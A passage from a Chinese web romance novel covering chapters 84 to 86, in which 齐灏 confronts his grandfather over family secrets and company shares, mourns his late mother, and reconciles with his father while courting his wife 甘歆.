老爷子眼皮抬了抬,像看见齐罪了,又像没看见,“没规矩。” “没规矩?”齐罪笑了,笑得都有些猖狂,“怎么,在老齐家,是不是只有你说的才是规矩?!仁义是规矩,兄弟是规矩,家族是规矩,寰科是规矩,家里人呢,你把家里人放在规矩的哪里?!” 甘歆见齐罪直接对着老爷子贴脸开大,赶紧拽了拽齐灏的衣服。 齐灏依旧是波澜不惊的样子,牵起了甘歆的手,带她坐到了一边的沙发上,拿起固定电话拨了个数字,“麻烦送杯温水上来。” “你……”甘歆对着齐灏皱了皱眉,“不去劝劝?” 齐灏眉眼向上抬了抬,“劝什么?” “要吵架了啊。” 他一笑,似是这个屋子里最轻松的人,“不用管,他俩就是吵少了。” “你刚刚在交接什么?” “寰科的股份,”齐灏的表情静如一汪湖水,没有不甘心,也没有不舍得,好像就在说一件理所应当的事,“愿赌服输。” “……你爷爷真舍得让你走?” 齐灏还没回答,就听见从书桌边传来老爷子的话:“这么多年不回家,到家就跟我嚷嚷,你眼里还有没有我这个老子。” “是你眼里早就没我这个儿子了!”齐罪双手拍在桌子上站起来,往前凑了凑,“但我不允许你祸害我的儿子。” “你是真比不上你儿子。”老爷子把手里的文件往桌上一扔,靠在椅背上,脸色沉了下去。 齐罪的脸都快贴过去了,“我当然比不上我儿子,你知道为什么吗,因为我儿子不止是我儿子,还是岑念的儿子!!” 啪——! 齐老爷子反手就一个巴掌抽了上去,甘歆的手捂上了嘴,惊讶地朝齐灏看,他依旧不动如山,当屋子里没那两个人。 齐罪的脸都偏了过去,转向老爷子时候的表情里都是憎恶,“老头子,你的钱都花不完了,怎么还玩不肯退位这一套啊,留恋什么呢?!” “你说话给我注意点!!”老爷子的脸都涨红了。 “我这些年的卡账,收到的时候高兴吗,没给足你安全感吗,亲儿子这么依赖你,还不够吗?能不折腾他吗!?” “你懂什么!” “我懂什么?!”齐罪跌坐回了椅子上,笑得都有些疯了,“我懂什么……还剩什么能给我懂的?我妈没了,老婆也没了,你还要搞我儿子,你到底把我当什么啊?爸!!” “你看看你现在什么样子,你儿 子还在这儿呢,上哪里学的死皮赖脸的样!” 门被敲了敲,他们两个安静了下来,甘歆的手叠在身前,有些不知所措,齐灏慢慢站起来去开了门拿过了温水,周波想往里走,被齐灏挡住了,道了谢后把关上后反锁,才走回沙发这,把水递给甘歆,笑了笑,“喝点水,嘴皮都起来了,上火啊?” 甘歆接了过来,依旧担忧,但还是喝了一口,止不住地往书桌那看,“真不管管?” “不用管,”他看了看甘歆身上的薄衬衫,“你在家那穿这个,不冷吗?” “家里有外套,”她都忍不住去握齐灏的手腕了,“都吵成这样了,你怎么这么淡定啊。” 齐灏又笑,伸过两只手去捂住她的耳朵,“那我帮你遮一遮。” “……别闹,”甘歆握下了他的手腕,急于在他的脸上找一些别样的情绪,但确实什么都看不出来,“你一点都不担心?” “担心,我担心你。” 甘歆刚想提气说点什么,就又听见齐罪开口了,声音低沉又疲惫。 “爸,咱俩怄了一辈子气了,我头发都开始白了,不闹了吧,”他深呼吸了一口气,“以前的那些,就都不提了,我也不乱跑了,在老宅呆着,你别为难小辈了。” “小辈?”齐老爷子笑里都带着讥讽,“我可没拿他当你的小辈来养。” 齐罪的咬肌突然都绷紧了,看向老爷子的眼神都有了恨意,“我好话说尽,是你不领情,爸,你午夜梦回的时候,到底是梦见我妈的脸,还是琴姨的脸?!” 啪——! 又是一个耳光抽了上去,老爷子怒喝:“齐灏!” 甘歆吓了一跳,下意识去看旁边的男人,没想到他动都没动,只是表情慢慢冷了下来,眼底好像上了一层冰冷的霜。 齐罪站了起来,几乎是疯笑,“爸,你叫谁呢,是在叫我吗?你真是年纪大了,记性都差了,我们二十多年前就说好了啊,从此我叫齐罪,把齐灏的名字给我儿子。” 他走到老爷子面前,“他是岑念和我的儿子,我是他亲爸,我怎么可能让他叫这个名字,”他又伸手戳了戳老爷子的肩窝,“在做爹这方面,我比你强。” “你——!” 齐罪的手一抬,止住了老爷子的话头,“什么年代了,还玩儿联姻那一套,你自己受过的苦,为什么还要我们来受一遍,是,你是和我妈结婚了,还生下了我,然后呢?还不是把琴姨接回了家,你扪心自问……这俩女人,哪个不是深爱你,结果呢……没一个命长的,你他妈就是自私!!!” 齐老爷子举起了手,似乎要打第三下,被齐罪握住了手腕。 “还想打?”他捏紧了老爷子的手腕,又甩掉,“你老了,服老吧。” 老爷子的呼吸越来越重,一声高过一声,连胸口的起伏都大了起来,指着齐罪的手肉眼可见地颤抖,表情也越来越痛苦,“你……你……” 齐灏终于站了起来,他抚了一下甘歆的后背,在她耳边嘱咐:“你坐着别动。” 他步履稳健,不慌不忙,路过齐罪的时候拍了拍他的胳膊,示意他让开些,走到老爷子身边也没管他伸在半空中的手,拉开了书桌的抽屉,拿出了速效救心丸,取了一粒,放进了老爷子的嘴里,“压在舌头下面。” 老爷子照做了,齐灏架起了老爷子,让他坐直。 几分钟后,老爷子缓过劲来,面沉如水地盯着书桌看,齐灏重新坐到了书桌前,对着桌上的文件抬了抬下巴,“今天还签不签?” 老爷子抬了眼皮看他,“你想签?” 齐灏扯开了嘴角笑了笑,“我是您养大的,我想不想签,您最清楚。” 老爷子没接话,头朝甘歆那边偏了偏,“你的女人?” 齐灏摇了摇头,“她自己的,但我是她的男人。” 一声带着轻蔑的笑从老爷子的鼻腔里发了出来,“你倒是挺大方的。” “比我爹还是差了点,”齐灏勾了勾嘴角,眼睛里的笑意带着些玩味,“毕竟我没有拿着您给的天价彩礼,给她拍一顶皇冠。” “成事不足败事有余!”齐老爷子对着桌子用力拍了一掌,脸颊都气鼓了,“收你老爹的烂摊子几乎让寰科重创!” “噢,那还是得谢谢奶奶,”齐灏笑得唇红齿白,看着乖顺,却字字都钻心,“那套祖母绿的首饰,您送出去的时候心痛吗?” 齐罪闻言转过了身来,诧异地盯着齐灏看。 坐在沙发上的甘歆,手都禁不住绞在了一起,掌心里都是汗。 “应该是不痛的吧,毕竟奶奶能帮您解决问题,”他又笑了,素日里脸上鲜有表情的齐灏,今天好像很开心,“隔年奶奶走的时候,想必您也是不心痛的。” 齐罪往前走了两步,看向齐灏的眼神有些慌乱,“你怎么知道这些的,谁跟你说的?” 齐老爷子的嘴也抿紧了。 “那您什么时候会心痛呢?”齐灏好像终于笑累了,长长舒了一口气,疑惑地问向老爷子,“姨奶奶走的时候?可她那时候已经年老色衰,也不是香江名伶了,您心里可能只是有点可惜吧?” “阿灏,”齐罪握上了齐灏的手臂,似乎在找上个问题的答案,“谁传的?” 齐灏睁了睁眼睛,像在说个笑话,“用特意传吗,外头的整个村,老齐家的这点事,早就被嚼烂了,他们并不把齐家的庇护当一回事。” 齐老爷子和齐罪对视了一眼,两个人同时看向了齐灏。 这个年轻人掌握的信息,比他们知道得更多。 “寰科股价的跌落会让您心痛吗?不见得吧,”不知是因为身高,还是因为周身沉静的气质,齐灏几乎有些俯视他的爷爷,“失去敬仰和崇拜,才会让您心痛吧?” 他见屋子里比他年纪都大的两个男人无话,又笑了起来,“奶奶家世好,她虽爱您,却没办法对着您伏低做小,所以有了琴姨,我爸……从小生活在您的庇护下,您不允许他有更在意的人,觉得那样就脱了控制。” 齐灏深深叹了口气,“联姻只是借口,您只是怕自己不重要了,对吗?” 他双手放到了桌上,交叉在一起,整个人往前凑了凑,对着齐老爷子露了个意味深长的笑,“您控着这个村子,不就是怕不想让别人知道,你也只不过是个草根出身吗?” 齐老爷子的眼睛瞬间瞪大了,齐罪也露出了惊讶的表情,连甘歆都站起来了。 “胡扯!”齐老爷子站了起来,将椅子往后一掼。 “爷爷啊,”齐灏也站了起来,双手插袋,神情放松,话也说得轻巧,“寰科都做到这个程度了,外面谁还会嚼您的舌根,谁又不是从无到有呢,偏偏一个身份,还能让您介怀一辈子,您真是可怜。” “你——!”齐老爷子气得一句话都说不出来。 “您孙媳妇来了,她刚生过孩子不久,容易累,我先带她去休息,”齐灏眼睛点了点桌上的文件,“这个您再考虑考虑,她来都来了,我们在这住三天,我带她四处转转。” 齐灏话说完,走到甘歆身边,揽过了她的胳膊,“老婆,我好饿,带你去吃好吃的。” 第84章 第84章“真好啊,我有家了。”…… 从那间书房出来的时候,甘歆觉得自己的腿都是软的,要不是被齐灏揽着,可能都有些走不动路,她下意识地往齐灏身上靠了靠,他就停下了脚步。 “累了?”齐灏问,“那我让周泽去买,我们回房间。” 没等她回答,齐灏就拦腰将她抱了起来,甘歆有些不好意思,“放我下来,我能走。” “自己家,怕什么,”他对着甘歆永远笑得那么好看,“而且我也很久没抱你了,我很想你。” 齐灏抱着甘歆,走过二楼长长的走廊,到了房间门口也没把甘歆放下,拧开了门后用脚关上了,从房门到床上的这段距离,齐灏的眼神几乎要把甘歆烧穿,她都有些不敢回看他。 他坐在床头,将甘歆抱在自己的腿上,又俯身帮她脱鞋,抬起头来的时候被甘歆捉住了唇,她第一次这么主动渴望和这个男人亲吻。 甘歆将齐灏压在床头,曲腿跨坐在他身上,搂过男人的脖子再次吻了过去,她一遍遍地确认着他的温度、他的味道,好想他,真的好想好想他,想到快要疯掉,她主动探出舌尖描绘着他的唇缝,又咬住他的下嘴唇往外轻拉。 她的主动好像掉落在干枯树枝里的火星子,齐灏只停顿了一瞬,大手就搂上了她的腰,覆上了她的后脑,用力将甘歆往自己身上按,他 要与她没有缝隙,他要与她胸口相抵,他将内心有意收敛的野兽释放了出来,对着她的唇肆意啃吮,舌尖近乎怼到了她的喉咙口。 堆积如山的思念好像终于找到了归属,他们吻得愈发情动,齐灏又找准了甘歆耳后的那片脖颈,轻咬重吮,几乎让她整个人都蜷缩了起来。 对视的时候两个人都有些喘息,齐灏轻轻摇了摇头,重重将甘歆抱在怀里,他的脸颊贴着她的发,说话声都带着哑,“你怎么那么傻,我爸发疯你也跟着疯。” “那个曲线看得我难受,想来看看你。” “我好着呢,”齐灏又吻了吻她的发,“答应你一个月回家,就一定会做到。” 甘歆深深叹了口气,抬头看了看齐灏,手也抚上了他的脸颊,“你怎么又瘦了啊。” “没有吧,那是之前陪你吃月子餐养胖了。” 甘歆的肚子咕——地响了一下,看向齐灏的时候笑了笑,“老公,我真饿了。” 他看了看时间,已经晚上九点多了,将甘歆放到床头,再拉好被子,又拿了个枕头放在她背后,才想起来问:“没带东西来?” “哦,在车里,你爸那辆。” 齐灏点了点头,“太晚了,不好打扰周泽,我出去买,顺便把你的东西带上来。” 见他要走,甘歆又拉住了他的手,“我就呆在这里吗?” “嗯,”他歪着头,伸手蹭了蹭她的脑袋,“没人会为难你。” 甘歆拽了他的手下来,“没大没小。” “好好好,”齐灏笑开了,刚还在爷爷面前耀武扬威的他,蹲了下来,用脸贴着甘歆的手背,“那回来你罚我,我先去买吃的,嗯?” 也不知道为什么,齐灏特别喜欢从下往上看她,甘歆以前质疑过,说这个角度看起来脸特别大,齐灏笑得发颤,只说她哪个角度都好看。 其实甘歆心里清楚,齐灏把她当珍宝一样供着,但她越来越不舍得。 “……嗯,你快起来。” “不起来。” 甘歆有些意外,看向齐灏,“饿着呢,你不是去买吃的么?” “每次你从上往下看我,都会不好意思,”齐灏搂过了甘歆的后颈,往下拉了拉,在她耳朵上咬了一口,又喷洒着热气说,“姐姐也会害羞啊。” 她被戳中心事,脸都有些红了,从他手里挣脱,钻进了被子里,“你就饿着我吧。” 甘歆没看到齐灏在背后的眼神,爱慕的、珍重的、宠溺的,好像一切黏稠情绪的形容词,都出现在了这双深邃的眉眼里。 等听到了关门的声音,甘歆才慢慢从被子里探出头来,她下了床,环视着曾经只来过几分钟的屋子,她之前都没好好打量过,只觉得这里的一切陈列都比较老旧了。 左边的床头柜上放着床头灯,有着白色荷叶边的灯罩,开关是垂下的链条,右边则是梳妆镜,竖着的椭圆形镜子,镜架的两边还有小抽屉,她轻轻打开了其中一个,里面竟然放着一枚胸针,造型像是一个“川”字横过来,上面点缀的,好像是托帕石。 甘歆皱了皱眉,又打开了旁边那个小抽屉,是一副红宝石耳钉。 再回看这间屋子,她才恍然大悟,这不是齐灏单独一个人的房间,是他和他母亲共同生活的地方,她快速走到书架这,没找到上次的相框,却翻到了一本相册。 是一个极其优雅的女性,她笑起来的弧度,几乎与齐灏一模一样。 她从相册里抽出了一张相片,翻过去,看到了背后写的日期,最短的隔了七天,最长的断了两年,这应该就是齐灏的妈妈,岑念。 相册从她一个人,拍到她怀里抱着婴儿,再到小小的齐灏站在她的身边。 这么厚一本相册,却没翻多久,就没了,她看了日期,那年齐灏8岁。 合起相册,心疼涌了上来,恰巧齐灏回来,她抬头望过去,眼睛里就有了泪花,他看到了她手里的东西,就明白了,眼神和嘴角都柔和了起来,他将买回来的点心放到沙发前的茶几上,才走到甘歆面前,抱了抱她,再牵起了她的手到沙发上坐下。 齐灏将衬衣的袖子卷了上去,熟练地将外卖盒打开,拿过一次性筷子还互相搓了搓上面的毛刺,才递给甘歆,他对着她笑,“尝尝,这家店从我小时候一直开到现在。” 面前是放了瘦肉的鸡蛋肠粉、虾肉烧麦、豆豉蒸排骨和水晶虾饺。 甘歆平复了下情绪,深吸了一口气,夹了个烧麦放嘴里,很鲜、很好吃,但她总开心不起来,尤其看着齐灏这样的笑脸,愈发难过。 齐灏轻轻叹了口气,抓过了甘歆的手放到唇边吻了吻,“我对8岁以前的很多事,都没什么印象了,只记得这家店很好吃,路口卖的冰棍,苦到干呕的凉茶,还有,不太多的……我妈。” 她放下筷子拥住了齐灏,“你辛苦了。” “……没有,我真不太记得了,那时候我爷爷规定,我和我妈最多只能一个人出门,然后我妈就不出门了,但她会偷偷给我塞钱,让我去和村子里的小朋友玩,但他们都不太理我。”齐灏的手抚上了甘歆的发,下巴搁在她的肩膀上。 甘歆抱得更紧了些,她直起身子来,将齐灏的脑袋抱在了怀里。 “我那时候不懂事,就问她,妈妈你怎么不出门,她说她不爱出,”齐灏在甘歆怀里笑了笑,“她总跟我说,我是她的宝贝,要让我好好长大,要让我别辜负这个名字。” “后来啊,我才知道,我的名字是我爸的,可笑吗,他们竟然为了保住我,达成了这样的协议,”齐灏咽了咽唾沫,声音也沉了下去,“我妈忍着痛生下我,我爸替我扛下了罪,腿也被打断了,我爷爷是真舍得啊。” “……不是你的错,跟你没关系。”甘歆抚了抚齐灏的脸颊,摸到了一些湿热。 “那时候寰科还没现在这么稳,爷爷要我爸继承寰科,他忙得都是匆匆来、匆匆走,”齐灏的声音混上了一点闷,“我妈就……一直生活在这个房间里。” 甘歆上下抚着齐灏的背,一下下地顺着,眼泪也不自禁地流了下来。 “有一天,她跟我说,她要走了,”齐灏吸了吸鼻子,“她说她在这个房间藏了五个秘密,等我全找到,她就会回来了。” 他又深呼吸了一口,“可她刚走,爷爷就把我送去赵老师那寄养了,每天有不同的老师来教我,”齐灏看着甘歆,他眼睛里都是泪水,却咧了个笑,“高中之前,我没上过学,不可思议吧。” “13岁的时候……爷爷把我带回这里,我以为是我妈回来了,”他的嘴角瘪了下去,一脸委屈地摇了摇头,“但她没有,于是我就一直在屋子里找啊、找啊,先找到了两张银行卡,接着是一副耳钉,一枚胸针,最后是这本相册。” 齐灏再也遮掩不住泪水,低着头流泪,却听不见哭声,“15岁的时候,唐满住进了我家,我问她,为什么我东西找齐了,妈妈没回来,她说我妈妈和她妈妈一样,都死了。” 甘歆叹出了声,抹了齐灏的泪水,又抹了自己的,将脸颊贴上了他的额头,“齐灏……” 他用力搂住了甘歆,“其实爷爷把我接走的时候,我妈就已经不在了,我竟然两年后才知道。” 她泣不成声,“……别说了,都过去了。” 齐灏坐起来,将甘歆拉入了怀中抱着,“所以你明白,8岁那年,你招呼 我的那一句,对我来说多重要了吗?你就像……炽烈的阳光,照在了我这片晦暗的海上,你让我以为,我也可以是个普通人,会被问名字,能随意和人聊天,被欺负了会有人来救。” 甘歆埋在齐灏的怀里,心疼得嚎啕大哭,她恨不得将他再抱紧一点,恨不得穿越回15年前,从头就对这个小男孩好一点,再好一点,恨不得在他13岁的时候,拽着他的手不让他离开,恨不得在他每一个孤单的晚上给他拥抱,告诉他,别怕,未来都会好的。 已经长成的男人吸了吸鼻子,用红红的鼻尖去蹭她的脸颊、她的鼻梁、她的眼睛,轻柔的吻也随之落了下来,“我妈现在一定很高兴,因为她的宝贝已经得偿所愿,”他又开玩笑地说,“谁23岁就敢说,喜欢了大半辈子的人,终于成了自己的老婆,也就我了。” 她终于破涕为笑,抽了纸巾替他抹掉泪痕,也擦掉了自己的,“你还挺骄傲。” “那当然,”齐灏又亲了亲她,“我这辈子只入你这一个赌局,我赌你会爱我,我赢了。” 甘歆点头,也亲了亲他的额头,“你赢了,我爱你。” 齐灏深深叹了口气,“我其实……没有很讨厌我爸,虽然他业务能力是差了点,但当丈夫和爸爸,还是不错的,我就是……不太知道要怎么和他相处。” “嗯……他很喜欢孩子,每次都能把阳阳逗得直乐,那姿势一看就是熟练工,应该没少逗你。” “这我还真不太记得了,”齐灏顿了顿,继续说了起来,“我妈离开后,他也跟着走了,公司也不要了,开始跟爷爷犯浑,其实是找我妈去了。” “真的?”甘歆有些意外。 “真的,查到这些前,我确实恨他,没把我妈照顾好,也不管我,但知道了事实后,就释然了,”齐灏笑了笑,无奈、痛苦、庆幸都在表情里,“他陪到了我妈最后一刻,我猜……我妈留给我的那个胸针,湖蓝色的川,指的就是我爸吧,红宝石耳钉,应该就是她自己。” 甘歆又往齐灏怀里凑了凑,若有所思地点头。 “她离开前,想告诉我的大概就是……爸爸妈妈都很爱我,我是……他们的宝贝儿子,”齐灏的眼睛又湿润了,看向甘歆,“姐姐,我是吗?” “当然是,你爸刚不还为你拼命呢么,”她凑上唇,将齐灏的将要溢出来的眼泪抿掉了,苦涩交加,“你还是我宝贝老公,是阳阳的宝贝爸爸。” “我不敢想……”齐灏又将甘歆搂紧了,“如果没有遇见你,我会活成什么样。” 甘歆的心快要疼碎了,“不会的,我们注定会相遇。” “真好啊,我有家了。” 齐灏的声音好像是从心口发出来的,向着四面八法触达,似乎想破开墙壁、破开时空、破开生死,向着他遇见过的每一个人宣告,他不再是断雁孤鸿。 妈妈,谢谢你,赋予了我的来路。 甘歆,谢谢你,点亮了我的归途。 第85章 第85章“留在我们身边吧,爸。”“…… 广粤这边乔木多、叶片也大,夏天来得更早些,甘歆睡得有些热,把被子往下踹了踹,露出了穿着T恤的上半身,可下一秒被子好像就被挪到了肚子之上。 她有些醒了,睁了睁眼睛,见齐灏还在睡,手却搭在了被沿,心里觉得又甜蜜又好笑,这个人,怎么睡着了还管这么严。 老式的推拉窗户外,是成片的绿色,混着鸟叫,整个环境都看起来惬意。 齐灏伸了个懒腰后也睁开了眼,两个人四目相对,他就要凑过来亲,被甘歆挡住了。 “没刷牙,臭死了。” 他好像还没睡醒,声音还朦胧着,自己伸了手呵了口气,又闻了闻,“不臭。” “自己说自己总是不臭的,哎呀——” 终究还是没抵挡住他的进攻,照着嘴来了那么一下,接着他就平躺着闭着眼睛笑,他说:“睁眼就看见你,我好幸福啊。” “是啊,你是幸福了,阳阳还在家里等爸爸妈妈呢。” “回去我一定好好给她道歉,”齐灏揽过了甘歆,将她捞在怀里,“老婆,难得二人世界,且行且珍惜。” “四个月又没到,你别瞎来啊。”甘歆的手从后面捂住了屁.股。 齐灏都快笑抽了,“我在你眼里是这么禽.兽的人吗?” “你难道不是?阳阳怎么来的你忘了?” 男人故意凑到她耳边,抿了抿耳尖,压低声音问:“怎么来的,说给为夫听听。” 甘歆自知着了他的道,索性向后一抓,“怎么来的它最清楚。” 命.根子被偷袭,齐灏整个人都蜷起来了,本来搂着甘歆的那只手都护上了,表情扭曲,连连吸气。 坏了,抓大劲儿了? 她立刻翻过身去,手搭在他的手上,神情关切地看着齐灏,“怎么样啊,疼不疼,要不要紧,我也没太用力啊……” 本就对她没有丝毫抵抗力的男人都快演不下去了,表情却还是委屈的,“好疼啊。” 她都臊得慌,“……你怎么耍流氓啊。” “哇,谁耍流氓,谁先动的手啊?” 甘歆对着他的脸吹了口气,下一刻眼睛闭了起来,她的唇仿佛熟了红的樱桃,还透着香气,看起来那么晶莹,像是刚洗完澡后落在发梢的水珠,混着浴室的水汽从上往下,在男人的凹凸有致的腹肌上下滚落。 此刻她好像海妖塞壬,扯开了海洋平静的表面,直指暴风中心,可带着温度的海水托起了她的脸,并不希望她作以牺牲如此触达。 “……别,不要这样。” 齐灏到底没舍得,不容抗拒地将甘歆捞了上来,用力将她抱进怀里,手指托起了她的下巴,他盯着她的眼神炙热,仿佛要灼烧了起来,喉结无意识地上下滚动,甘歆只是咬了一下嘴唇,齐灏就仿佛受不住似的,低头吻向了她,一手揽着她的背,一手覆着她的手,克制地揉搓着,几乎要将她的手背搓红了。 他霸道得不像样子,不肯给甘歆留一点氧气,只许从他的口腔里汲取,近乎撕咬着彼此,不同的是,当齐灏的牙齿扣上果冻般莹润的唇时,就收了力,只好换了不会咬破伤害她的吮吸,在即将缺氧的时候终于结束了这个吻。 四目相对,男人又凑上去在她锁骨上狠狠吮了一下,才大口开始呼吸。 她的手又被齐灏轻轻抚摸,甘歆整个人都觉得热得慌,敏锐的体感察觉了来自小腹的一点疼痛,她才刚刚低下头去看肚子,就被男人抱在了怀里,齐灏用力勒了一下她,咬着牙说她,“别招我,还没恢复,你会疼,再等等。” 她自知理亏,嘴却硬,“疼一会儿就好了。” “不许弄疼我老婆,不然收拾你。” 甘歆笑了一下,看了看时间,惊呼道:“11点了!?快起来快起来。” 明明在休假的是她,却依旧对时间如此敏感,齐灏心里泛着疼,从怀孕到现在的大多数时间,他其实是缺席的,他知道,即使有人帮忙,甘歆也尽量事事亲力亲为。 充满爱意地抚了抚她的脸颊,齐灏认真道:“对不起,一直都是你在辛苦带阳阳,我都没怎么出力。” “你也知道啊,”甘歆轻轻拍了下他的脑袋,“回去你跟她说,前两天还哭得停不下来,说要找爸爸。” “她会说话了?!” “……没,”甘歆笑说,“我们猜的。” “啊……回去我给她搭个儿童乐园,你觉得行吗?” “行啊,”甘歆挑了挑眉,“等着大点儿了,普通玩具糊弄不了就,这种力气活还是要爸爸做。” 齐灏点了点头,“饿不饿?去吃点东西?” “嗯,起来吧。” 甘歆对昨天齐灏和老爷子要签的协议有些在意,但总找不到机会问,寰科这几年愈发稳当,行业里也没因为齐灏的年轻而轻视他,反而收获了诸多敬重,如果这时候齐灏激流勇退,别说对于寰科来说不划算,对整个行业的健康发展都有影响。 群龙无首,总容易出乱子。 他们下了楼,在院子里看到了正在侍弄花草的齐罪,甘歆首先打了招呼,“爸。” 齐灏和齐罪对视了一眼,两个人都是震惊。 “你让她——” “我没有!” 齐灏的一句“你让她喊的?”还没说全,齐罪就赶紧开脱,甘歆觉得这爷俩特别好笑,当爹的吊儿郎当,儿子正经得不行,她赶紧去拽了拽齐灏的手,“不想让你爸要这个儿媳妇了?” 这句话在齐灏聪明的脑袋瓜里转了三个弯才明白过来,“……不是。” “他带我 来的时候都用上私人飞机了,还有谁家的公公这么大方啊。” “私人飞机?”齐灏甩了个眼刀给齐罪,“什么时候买的。” “……不是买的,”齐罪挤眉弄眼,像极了乱花钱被家长抓包的模样,“问朋友借的,我当时想买来着,你妈不肯。” “我妈不肯就对了,”齐灏对他扬了扬下巴,“走,出去吃饭。” 齐罪有些尴尬地给他看了看都是泥的手,在齐灏第二个眼刀即将到达之前,赶紧小跑进屋,嘴里念叨着,“我洗洗,洗洗就来。” 到了库里南边上,齐罪下意识就想往驾驶座走,齐灏先他一步拉开了车门,他就想去拉后座的车门,被甘歆拦下了,“爸,你坐前面,我勒着安全带不舒服。” “哦哦哦,好。” 等齐罪反应过来已经坐上副驾了,后座空间这么大,还隔着个扶手,他完全没必要坐前头,但这会儿已经坐上了,看着和自己有些相似的侧脸时,他心里头还是有些犯怵。 因为觉得亏欠,所以害怕面对。 他能对着儿子开百八十个玩笑,却没办法跟他认真交流一分钟。 昨晚应该是下过雨了,路面还是有些潮湿,被热气一烘,空气都觉得黏腻,就好像此刻坐在前排的这对父子,其实都在意对方,也都理解彼此,就是开口实在太难。 甘歆心里着急,但他们父子之间的事,她也不好说什么。 车里一直沉默到进隧道,整个车厢都暗了下来,齐灏才说:“你要不要改个名字?” 甘歆打了个激灵,看向车内后视镜里,齐灏神色认真,没有一点开玩笑的意思。 被问的齐罪沉默了一会儿,再开口的时候声音都有些哑,“不改了,就叫这个。” “你没有错,更没有罪。” 甘歆从后面,看到齐罪的嘴角向上勾了勾,浅浅笑了笑,“但我有愧,对你妈和你,都有愧,叫这个名字我安心,好让我……未来去找你妈的时候,多点底气。” “我妈……”齐灏的眼睛眨了眨,“最后好吗?” “……嗯,像睡着了一样,”齐罪的声音很轻,“她睡着都是安安静静的,也没怎么变。” “提我了吗?” “天天提,”齐罪呼了一口气,“她总问,你在干嘛,我说……你住在一个普通人家里,过普通的日子。” “她高兴吗?” “高兴……她说等她成为世界顶尖的设计师,就风风光光来接你走,”齐罪笑了一声,“说要连你带我一起接走。” 齐灏的声音听起来很空洞,“原来她没有不要我啊。” “你是她身上掉下来的一块肉,她怎么会不要你,”齐罪哽咽了一下,“我也没有不要你。” 父子俩有一搭没一搭地聊着,甘歆偏过头往窗外看,隧道里一盏盏昏黄的灯向后退,她听得眼圈发热。 “……嗯。” “你妈走后,我很长一段时间……没办法面对现实,也没办法在一个地方久呆,但我答应她了,不能跟着一块儿去,要看你长大,要看你成家,你……怪我吗?” 齐灏沉默了几秒,“不知道你是去找我妈之前,是怪你的。” 齐罪单手掩面,嘴唇瘪了瘪,“你们娘俩就是太懂事了。” “懂事不好吗?” “对别人好,对自己不好。” 父子俩又沉默了一阵,齐灏才说:“别四处跑了,陪阳阳长大,我也是第一次当爸。” “……你说什么?” “我说,”齐灏深吸了一口气,“留在我们身边吧,爸。” 终于开出了隧道,所有的昏黄和黑暗都抛在了后面,日光照耀下来,将车内照亮,甘歆从后视镜里,看到了成熟沉静的齐灏,眼尾看着都温柔,和相片里的母亲几乎一模一样。 也看到了齐罪略显湿润的眼角、滚动的喉结,听到了他在喉间反复滚动,终于说出来的那个字,“好。” 正值红灯,车窗外对着一棵巨大的乔木,枝桠上停留了一只拖着长尾的鸟,它灵动转身,起身又飞走,长尾在绿叶中,留下惊鸿一瞥。 甘歆不禁也笑了起来,她心里感慨着,真好啊,齐灏与这个世界的连接又牢固了些。 第86章 第86章醒一醒,董事长夫人。 齐灏陪着甘歆在广粤逛了两天,她发现这个男人的报复心是真的强,偏要自己告诉她当时是怎么从这去的澳城,在知晓她还在南山停了一下的时候脸都黑了。 “看不出来你反追踪意识很强啊,”捏着她脸的手看着劲儿大,其实就浅浅按了一下,“看来是真不想让我来找你。” “伤心都来不及,找到了也不想见你。” “你就从来没怀疑过是假的?” 甘歆语塞,她不是没怀疑过,只是……“我问你了啊,上你家看看,你不肯,做贼心虚!” 齐灏都快被她气笑了,捉住了她的两只手往自己怀里带,直接把人抱在了怀里,“我都多久没回去了,不得收拾收拾?” 两人正散步呢,大庭广众的,甘歆想推开他,怎么都推不动,“哥哥,你行行好,这么多人呢。” “再叫一声我就放手。” 她一下就愣住了,不是矜贵太子爷么,怎么这么……不害臊啊,甘歆偏头去不肯搭理,齐灏就抱得更紧了些,还在她耳边威胁,“不叫的话就当众亲你了。” 甘歆用力往后躲,但到底无法逃脱他的禁锢,就在他的唇落下来的前一瞬,妥协似的喊出了声,“……哥哥。” 向来恪守契约精神的齐灏,在这种事情上成了失信的老赖,他深深吻住了甘歆的唇,还想啃咬,甘歆被他箍紧了都没什么力,只能任他为之,手把他后背的衣服都攥皱了。 松开后,她清了清嗓子佯装无事发生,只是当他弯弯的眉眼凑过来的时候,还是忍不住拧了他的耳朵,“你怎么说话不算话呀?” “我错啦,”他是笑着说的,一点儿认错的意思都没有,长长的睫毛跟着眼线弯成了月牙状,“另一边的耳朵要拧吗?” 哪来的黏人小狗,哎呀哎呀。 他好像很享受在人前也能够与自己保持亲密,无论是在家人面前,还是在外面,从来不会因为避讳什么,而远离她分毫。 在这样的坦诚之下,甘歆渐渐淡忘了曾经以为横生在两人之间的客观沟壑,年龄也好、身份也好,不过是外人茶余饭后的谈资,真实的生活体验,外人是没有办法共情的。 断断续续地三年相处下来,连孩子都生好了的今天,才真正像小情侣一样开始约会。 在商业街最热闹的那家奶茶铺前,甘歆手机点完单后,就坐到了室外的休闲椅上,看着高大帅气的男人在那抱着手等号。 可他怎么就这么容易被搭讪呢,刚刚已经有过一个女孩儿对着他拿出手机了,甘歆见他礼貌地摆了摆手,怎么又来一个,还是个……穿着JK的小姑娘,小姑娘扎着高马尾,脸上洋溢着青春的气息,连手机壳都是粉粉嫩嫩的。 甘歆低头看了眼自己裸.奔的手机,有些不知道该说什么。 “老婆——”齐灏冲她的方向叫了一声。 甘歆抬头,没回话,疑惑地看向他。 “要粗吸管还是细吸管啊?” “……细的就行。”买的奶茶又没有料,多余问的。 再次看向他时,刚刚的女孩儿好像在跟他说抱歉,他没点头也没什么表情,拿了奶茶袋子后直接越过人群坐到甘歆旁边,扎好了吸管才递给她。 甘歆接了过来,憋着笑看他,“那个小姑娘好可爱啊。” “哪个?” “刚跟你说话的那个,穿着制服,手机壳都是粉色的。” “是吗?”齐灏直起身往人群里看,“哪儿有制服啊?” “想看啊?” 齐灏一脸正经,回过头看着她,点了点头,“想看。” “喏,”甘歆往左前方递了个眼神,“就在那儿呢。” 他摇了摇头 ,依旧盯着甘歆,喉结上下滚了滚,声音都沉了下去,“想看。” “……你,”甘歆愣了愣,明白了齐灏的意思,重重吸了一口奶茶,“能不能收敛点。” 他眼里才没有什么高马尾、JK服和粉色手机壳,满心满眼都装着眼前的这个人,此刻甘歆穿了件淡蓝色的细条纹套头衬衣,和纯白的弹力牛仔裤,踩着一双小白鞋,头发在怀孕后便没有再染过了,恢复了原黑色,月份大的时候剪掉了一些,现在只长到了锁骨这。 